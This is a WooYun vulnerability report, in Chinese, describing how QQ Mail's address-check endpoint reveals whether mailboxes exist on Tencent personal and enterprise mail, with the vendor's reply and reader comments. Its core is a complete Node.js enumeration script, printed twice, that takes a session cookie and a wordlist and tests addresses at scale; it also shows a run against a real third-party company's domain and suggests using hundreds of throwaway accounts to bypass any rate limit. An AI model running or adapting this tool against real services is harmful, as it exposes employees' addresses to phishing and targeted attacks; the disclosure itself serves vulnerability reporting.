当前位置:WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号:wooyun-2014-088140

漏洞标题:QQ邮箱某处设计缺陷导致可枚举腾讯企业内部通讯录(间接危害企业安全)

相关厂商:腾讯

漏洞作者: 0x_Jin

提交时间:2014-12-22 14:39

修复时间:2015-02-05 14:40

公开时间:2015-02-05 14:40

漏洞类型:账户体系控制不严

危害等级:高

自评Rank:15

漏洞状态:厂商已经确认

漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 [email protected]

Tags标签:

4人收藏 收藏
分享漏洞:


漏洞详情

披露状态:

2014-12-22: 细节已通知厂商并且等待厂商处理中
2014-12-22: 厂商已经确认,细节仅向厂商公开
2015-01-01: 细节向核心白帽子及相关领域专家公开
2015-01-11: 细节向普通白帽子公开
2015-01-21: 细节向实习白帽子公开
2015-02-05: 细节向公众公开

简要描述:

其实是一个互联网各大邮件厂商均存在的一个问题,只是在不同的功能而已。

详细说明:

在我们用QQ邮箱发邮件的时候会有这样的一个小提示不知道大家注意过没。

屏幕快照 2014-12-22 13.19.02.png


当你输入一个邮箱地址然后输入框失去焦点后便会开始检查这个地址是否存在。
如果存在就是黑色的字体 不存在便是红色的字体。
腾讯是怎么去判断的呢?
为了刨根知底 我做了个小测试,首先选个我不知道有没有邮件服务器的网站 然后把他们的域名给放进去 发现是黑色的。

屏幕快照 2014-12-22 13.58.16.png


然后跟上图对比,xss1.com用的是腾讯的企业邮箱,而wooyun则用的是google的邮箱。
0xjinfuckxss@wooyun.org 是不存在的 为什么还变成了黑色呢?
原来腾讯能检测的邮箱地址仅仅是托管在自己服务器上的,比如QQ个人邮箱,QQ企业邮箱等等。
那么又发现一个问题了,能通过这个知道一些网站他们的邮件服务是不是托管给QQ邮箱的。

屏幕快照 2014-12-22 14.03.02.png


可以看到国内两个安全站点的邮服都是用的QQ的企业邮箱,而360.cn则不是。
正题来了,如何去用这个设计缺陷去枚举腾讯企业邮箱呢?
首先抓个包,发现输入框失去焦点后会发送一个post包 post包中包含了一串随机字符串。

屏幕快照 2014-12-22 14.08.04.png


那么这个随机字符串是怎么来的呢?

屏幕快照 2014-12-22 14.10.18.png


在请求http://mail.qq.com/cgi-bin/login?vt=passport&vm=wsk&delegate_url 这个url的时候返回包中的js中 targetUrl 变量里就有这个名为sid 的随机字符串
获得sid的方法有了,那么构造一个post数据包 看下存在于不存在的返回值分别是什么,这样才好判断结果。
最后结果如下:
({invalidlocalaccount:[["jinx@ff0000.cc"],null], addrhistory: [""],success:true})' } (不存在)
({invalidlocalaccount:[null], addrhistory: [""],success:true})' }(存在)
如果存在的话返回值中是没有要检测的邮箱地址,如果不存在则有。
那么现在就很好写exp了,exp如下:

var async        = require('async');
var request = require('request');
var lineread = require('line-reader');
var FilePath = "MailAdd.txt";
var CheckSid = "";
var urls = [];
var concurrencyCount = 0;
var MailCookie = "";
var options = {
headers:{
'User-Agent':'Mozilla/5.0 (Macintosh; Intel Mac OS X 10_9_5)',
'Cookie':MailCookie
}
}
console.log('[*] 判断QQ邮箱用户(包括QQ企业邮箱) [*]');
//获得到SID
function GetSid(checkurl,callback){
request.get(checkurl,options, function (err,res) {
if(err){
return console.log(err);
}
if(String(/sid=.{16}/.exec(res.body)[0])){
callback(String(/sid=.{16}/.exec(res.body)[0]).replace('sid=',''));
}
else{
return console.log('Cookie已过期或者未设置请重新设置');
}
})
}
//检查邮箱地址是否存在
function CheckMail(mailadd,callback){
var delay = parseInt((Math.random() * 10000000) % 2000, 10);
concurrencyCount++;
console.log('并发数: '+concurrencyCount+',Check : '+mailadd+',耗时'+delay+'毫秒');
var Checkurl = 'http://set1.mail.qq.com/cgi-bin/laddr_domain_check?sid='+CheckSid;
var PostData = {
'acttype':4,
'addrfilt':mailadd
}
setTimeout(function () {
concurrencyCount--;
request.post({
headers: {'Cookie': MailCookie},
url: Checkurl,
form: PostData
}, function (err, res) {
if (err) {
return err;
}
callback(null,{'Mailadd':mailadd,'ResBody':res.body});
})
},delay);
}
//获得SID 并读取邮箱地址
GetSid("http://mail.qq.com/cgi-bin/login?vt=passport&vm=wsk&delegate_url=",function(callback){
//console.log(callback);
CheckSid = String(callback);
lineread.eachLine(FilePath, function(line) {
if(String(line)){
urls.push(line);
}
}).then(function () {
console.log(FilePath+" Read Done!");
//CheckMail(CheckSid,urls[1],function(callback){console.log(callback.mailadd);});
start();
});
});
//控制并发 并调用CheckMail
function start(){
async.mapLimit(urls, 10, function (mails, callback) {
CheckMail(mails, callback);
}, function (err,result) {
if(err){
console.log('Error:')
console.log(err);
}
console.log('Done:');
for(length in result){
//判断结果
if(result[length].ResBody.indexOf('({invalidlocalaccount:[null]')>=0){
console.log(result[length].Mailadd+" =======》exists");
}
}
});
}


设置好mail.qq.com的cookie 以及要枚举的邮箱字典便可以开始枚举了。
请看漏洞证明。

漏洞证明:

为了检测是否有防机器人机制便构造了 1200多个地址来检测。

屏幕快照 2014-12-22 14.20.11.png


运行结果如下:

屏幕快照 2014-12-22 14.21.27.png


可以看到成功的从1200个地址中检测出了这三个邮箱地址是存在的。

屏幕快照 2014-12-22 14.22.45.png


按理说这样的功能用户体验确实很棒,但是如果没做限制的话也不太好。
其实限制也不太好限制,如果某个公司邮件往来频繁 一天可能要给几千个地址发邮件,每个地址都要检测一遍 如果这样也限制了的话那就影响到了用户体验。
如果只限制每天3000个或者一个号一个小时只能查100次的话 那又可以写个批量登陆获取cookie的工具 来用几百个小号qq来跑了。
反正我个人觉得这个问题蛮棘手的 期待你们的修复方案。
测试代码:
var async = require('async');
var request = require('request');
var lineread = require('line-reader');
var FilePath = "MailAdd.txt";
var CheckSid = "";
var urls = [];
var concurrencyCount = 0;
var MailCookie = "";
var options = {
headers:{
'User-Agent':'Mozilla/5.0 (Macintosh; Intel Mac OS X 10_9_5)',
'Cookie':MailCookie
}
}
console.log('[*] 判断QQ邮箱用户(包括QQ企业邮箱) [*]');
//获得到SID
function GetSid(checkurl,callback){
request.get(checkurl,options, function (err,res) {
if(err){
return console.log(err);
}
if(String(/sid=.{16}/.exec(res.body)[0])){
callback(String(/sid=.{16}/.exec(res.body)[0]).replace('sid=',''));
}
else{
return console.log('Cookie已过期或者未设置请重新设置');
}
})
}
//检查邮箱地址是否存在
function CheckMail(mailadd,callback){
var delay = parseInt((Math.random() * 10000000) % 2000, 10);
concurrencyCount++;
console.log('并发数: '+concurrencyCount+',Check : '+mailadd+',耗时'+delay+'毫秒');
var Checkurl = 'http://set1.mail.qq.com/cgi-bin/laddr_domain_check?sid='+CheckSid;
var PostData = {
'acttype':4,
'addrfilt':mailadd
}
setTimeout(function () {
concurrencyCount--;
request.post({
headers: {'Cookie': MailCookie},
url: Checkurl,
form: PostData
}, function (err, res) {
if (err) {
return err;
}
callback(null,{'Mailadd':mailadd,'ResBody':res.body});
})
},delay);
}
//获得SID 并读取邮箱地址
GetSid("http://mail.qq.com/cgi-bin/login?vt=passport&vm=wsk&delegate_url=",function(callback){
//console.log(callback);
CheckSid = String(callback);
lineread.eachLine(FilePath, function(line) {
if(String(line)){
urls.push(line);
}
}).then(function () {
console.log(FilePath+" Read Done!");
//CheckMail(CheckSid,urls[1],function(callback){console.log(callback.mailadd);});
start();
});
});
//控制并发 并调用CheckMail
function start(){
async.mapLimit(urls, 10, function (mails, callback) {
CheckMail(mails, callback);
}, function (err,result) {
if(err){
console.log('Error:')
console.log(err);
}
console.log('Done:');
for(length in result){
//判断结果
if(result[length].ResBody.indexOf('({invalidlocalaccount:[null]')>=0){
console.log(result[length].Mailadd+" =======》exists");
}
}
});
}
</code>
需要node.js环境 然后 npm install 安装 async request line-reader 这三个模块
MaillAdd.txt 为要检测的邮箱地址 一行一个
MailCookie 为登陆上QQ邮箱后的cookie document.cookie一下 拿出来放到这个变量中即可。
并发数可更改。
为了进一步证明漏洞的可行性,于是我便找了个一个算是比较大的网站来做了一个小测试。
E假海南旅行网 www.ethainan.com PR6
用上面说的方法,验证了他们用的QQ企业邮箱,然后从网站找了几个邮箱地址,然后自己根据猜想写了几个邮箱地址,用程序跑了起来。

屏幕快照 2014-12-22 15.13.40.png


Done:
meeting@ethainan.com =======》exists
webmaster@ethainan.com =======》exists
可以看到存在的邮箱地址就只有这两个 可以通过根据论坛的id去跑一遍还有员工姓名转pinyin去跑一下。
没有次数限制,跑出来只是时间问题。大概并发20 持续一小时的话能跑几万个地址。

修复方案:

技术能力不够,如果按照我想的修复方法的话也不适用于你们需要给千万用户服务的企业,会影响到用户体验。

版权声明:转载请注明来源 0x_Jin@乌云


漏洞回应

厂商回应:

危害等级:低

漏洞Rank:5

确认时间:2014-12-22 19:10

厂商回复:

非常感谢您的报告,问题已着手处理,感谢大家对腾讯业务安全的关注。如果您有任何疑问,欢迎反馈,我们会有专人跟进处理。

最新状态:

暂无


漏洞评价:

评论

  1. 2014-12-22 19:21 | 爱上平顶山 认证白帽子 ( 核心白帽子 | Rank:2738 漏洞数:547 | [不戴帽子]异乡过客.曾就职于天朝某机构.IT...)

    5...

  2. 2014-12-22 19:47 | 泳少 ( 普通白帽子 | Rank:231 漏洞数:79 | ★ 梦想这条路踏上了,跪着也要...)

    5...

  3. 2014-12-22 19:48 | Ano_Tom ( 普通白帽子 | Rank:368 漏洞数:40 | Talk is cheap.:)

    5...

  4. 2014-12-22 19:57 | 0x_Jin ( 普通白帽子 | Rank:319 漏洞数:37 | 微博:http://weibo.com/J1n9999)

    5...

  5. 2014-12-22 20:48 | pandas ( 普通白帽子 | Rank:585 漏洞数:58 | 国家一级保护动物)

    ssrf?

  6. 2014-12-22 20:55 | 炯炯虾 ( 路人 | Rank:2 漏洞数:1 | 我来自地球)

    腾讯没有节操

  7. 2014-12-23 00:33 | 子非海绵宝宝 认证白帽子 ( 核心白帽子 | Rank:1044 漏洞数:106 | 发扬海绵宝宝的精神!你不是海绵宝宝,你怎...)

    5?

  8. 2014-12-23 06:35 | 秋风 ( 普通白帽子 | Rank:438 漏洞数:44 | 码农一枚,关注互联网安全)

    我是来看闪电的!

  9. 2014-12-23 07:47 | 子非海绵宝宝 认证白帽子 ( 核心白帽子 | Rank:1044 漏洞数:106 | 发扬海绵宝宝的精神!你不是海绵宝宝,你怎...)

    @0x_Jin 你壕了!精华10RANK呢

  10. 2014-12-23 08:18 | 0x_Jin ( 普通白帽子 | Rank:319 漏洞数:37 | 微博:http://weibo.com/J1n9999)

    @子非海绵宝宝 …… 10rank壕个毛 继续找素材去……

  11. 2014-12-25 15:24 | 帅气小狼狗 ( 路人 | Rank:8 漏洞数:2 | 汪汪汪)

    5...

  12. 2015-02-05 14:52 | 我是小号 ( 普通白帽子 | Rank:334 漏洞数:51 | Martin)

    Awesome!好思路!这个和CSS History Hack思路有异曲同工之妙哈哈

  13. 2015-02-05 15:01 | 一天到晚吃 ( 实习白帽子 | Rank:58 漏洞数:23 | 好好看,好好学 test12xx)

    洞主好细心.问下洞主,枚举出了某公司的所有员工邮箱后,可以干啥?

  14. 2015-02-05 15:17 | pandas ( 普通白帽子 | Rank:585 漏洞数:58 | 国家一级保护动物)

    赞一下lz的细心,5rank差不多,你这个枚举没个好字典命中率很低,猜到的也就是类似于hr、webmaster这些公共账户了,这些公共账户都可以不当成信息泄露。尤其在china,各个公司的邮箱命名规则都不统一,比如fangxiaodun@wooyun.org或者xiaodun.fang@wooyun.org,问题就在这里,对于一个不熟悉的企业,fangxiaodun这个用户名就是未知的 ,如何获得他的内部通讯录呢:)

  15. 2015-02-05 15:50 | f4ckbaidu ( 普通白帽子 | Rank:182 漏洞数:23 | 开发真是日了狗了)

    膜拜js大牛

  16. 2015-02-05 17:29 | ( 普通白帽子 | Rank:276 漏洞数:69 | ❤)

    思路很棒